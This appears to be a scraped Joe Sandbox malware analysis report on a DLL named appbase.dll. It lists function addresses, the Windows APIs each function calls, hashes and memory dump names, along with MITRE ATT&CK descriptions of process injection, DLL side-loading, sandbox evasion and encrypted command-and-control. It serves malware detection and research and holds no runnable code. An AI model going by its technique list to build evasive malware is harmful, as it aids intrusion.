Function 650C1BB0 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 650C1BBE
TlsGetValue.KERNEL32 ref: 650C1BE5
GetLastError.KERNEL32 ref: 650C1BEC
LeaveCriticalSection.KERNEL32 ref: 650C1C0C

Memory Dump Source

Source File: 00000003.00000002.3516693423.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000003.00000002.3516638323.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516724642.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516751448.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3516779606.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_650c0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 9cea71b5bdcd8917bac591d9d6cb4f2b8f79f1eec9db0d6b38e8fcc11c6beac8
Instruction ID: e18b72448ed59540fff491a4f7df12c6765d68879d9dfd1c39d401d29c53b907
Opcode Fuzzy Hash: 9cea71b5bdcd8917bac591d9d6cb4f2b8f79f1eec9db0d6b38e8fcc11c6beac8
Instruction Fuzzy Hash: 89F044766043118BDB107FB9E8C5A1A7BB4FB46254B060578ED4547205EB30E44ACBA3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 4208, Parent PID: 5700COMMON

Execution Graph

Execution Coverage:	100%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03195DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 031960AB

Strings

, xrefs: 03195FB7

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: e0500685f34c58afa15f5d1d3f1d0a84cef07b3833d1910a3bc54a8fdc8b5c56
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: EFA1C2B59093059FDB50DF28C18475ABBF0BF88714F05896EE8988B351E735E984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 031978A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 031978EE

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: 88c276d8a46ed44fb9c4b7525337f9dd66f6a469dca640735d698007316ca733
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: C9111DB8A0A3419FDB80DF69C58061ABBF4BF89650F40985EF998D7315E331D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03197945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 03197986

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: ddd407a15b5addc5100dc1ff4d235cd3b329dbff85bfa7b9ef5705c8b30e195a
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: 0E116DB890A341AFCB80EF29C58061ABBF4BF89650F409C6EF898C7311E331D9408B42

Uniqueness

Uniqueness Score: -1.00%

Function 04ADB906 Relevance: 1.5, APIs: 1, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrGetProcedureAddress.NTDLL ref: 04ADB911

Memory Dump Source

Source File: 00000004.00000002.3515854781.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ad0000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: 50b30082e76d7c594358d5ce8b57b7a699d420e4ed45058812b4312beaf4eacc
Instruction ID: 73b1842ab867c41be55cd0caf927bd7cabb4a5c43f07c1af08db47be06aae46f
Opcode Fuzzy Hash: 50b30082e76d7c594358d5ce8b57b7a699d420e4ed45058812b4312beaf4eacc
Instruction Fuzzy Hash: 55D02BBA00C2E62FCB136B2A44E03DF3FB89E1354035008CAD1500B652C9340089C3A3

Uniqueness

Uniqueness Score: -1.00%

Function 03195FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 031960AB

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: 0835b9756396c6b746940778f0442c49070bf34909c24c315f6ddf8cfc681619
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: D921A3B5A04700DFD754EF68D188B1ABBF0FF88710F118969E8888B755DB35D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 031960BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 031960AB

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: 67a0b902d9bf7fa68046cf295f2a9fdd03a52c1b4214866fc0ba1b42f6e61352
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: 56217FB5908740CFD754EF68D188B5ABBF0FF88710F118969E8988B365D735D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 031968C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,03197590), ref: 03196913

Memory Dump Source

Source File: 00000004.00000003.1684549387.0000000003160000.00000020.00001000.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_3160000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: d695a80b5aa23ce4d99654d6d8562b3c2e85b913a821fb96e4145c862c268f3d
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: 97F086796083004FEB10EF68E580A5BFBE4EB9D760F14896ED8885B345D734D44187E2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7200, Parent PID: 6864COMMON

Executed Functions

Function 02DA5DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 02DA60AB

Strings

, xrefs: 02DA5FB7

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: 7a525bc8a13a6e6a1c314d81aecf4f72e97d399f6532704a1d048cbafebbecc0
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: 03A1BFB59093059FC750DF28C184B5ABBF0FF88714F44896EE8988B351E735E988CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02DA78A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 02DA78EE

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: ff5b2d52bbc005621a6740ed0782017ac7f305e943dc91d7ee40b5d07c6a2bed
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: 4B110BB4A0A3419FC780DF69C580A1ABBF0AB89650F40985EF998C7315E331D944CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02DA7945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 02DA7986

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: b5c0233bc8055efce962a2e2780a060bc3f83fe717e6a1cb718e0242848e6a80
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: DA113DB490A341AFC780EF29C580A1EBBF5BF89650F409D6EF998C7315E731D9448B52

Uniqueness

Uniqueness Score: -1.00%

Function 02DA5FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 02DA60AB

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: c871712528ee45ba7685635943d29da49ef59ee004f65888576481aeb171a427
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: F721A5B5A04700DFD754EF68D188B1ABBF0FF84710F118968E8888B755D735D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02DA60BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 02DA60AB

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: 36dc0554338ed48cb8d4357bac751ac5169618e292a99ae8db285bcc361c1f40
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: 21217FB5908740CFD750EF68D184B5ABBF0FF88710F118969E8988B765D735D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02DA68C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,02DA7590), ref: 02DA6913

Memory Dump Source

Source File: 00000005.00000003.1714402435.0000000002D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2d70000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: 84cf13e9c22279a404ce55936cb105d89f09a4718f36e79e29c1ae2f62a3ab3c
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: 66F0D6756093008BDB10AF68E580B5BBBE4FB98754F18896DD98847305D734C841CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 046F6624 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3516065466.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_46f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e63f00747ba3a36fecf99d4f5452803f9e3f3a8feadd37ccba7ab4eff4a0f19
Instruction ID: 85f9f6dbcb257618756ae4d78b645c95d896508e3cc75afda8250aba40ff92df
Opcode Fuzzy Hash: 8e63f00747ba3a36fecf99d4f5452803f9e3f3a8feadd37ccba7ab4eff4a0f19
Instruction Fuzzy Hash: F7B012501403D842DB117F02C0424847630BE51D40B0410CCD48025817E31105FFCF00

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report appbase.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: loaddll32.exePID: 6864, Parent PID: 2580

General

Chronological Activities

Windows Analysis Report
appbase.dll

Function 650C259A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205
nativememorythreadCOMMON

Function 650C2590 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147
nativememorythreadCOMMON

Function 650C1600 Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Function 650C1540 Relevance: 7.6, APIs: 5, Instructions: 55
timethreadCOMMON

Function 650C15FC Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Function 650C1790 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 124
filememoryCOMMON

Function 650C1020 Relevance: 9.1, APIs: 6, Instructions: 108
sleepCOMMON

Function 650C2290 Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Function 650C1930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173
COMMON

Function 650C1BB0 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON

Function 04ADB906 Relevance: 1.5, APIs: 1, Instructions: 20
libraryloaderCOMMON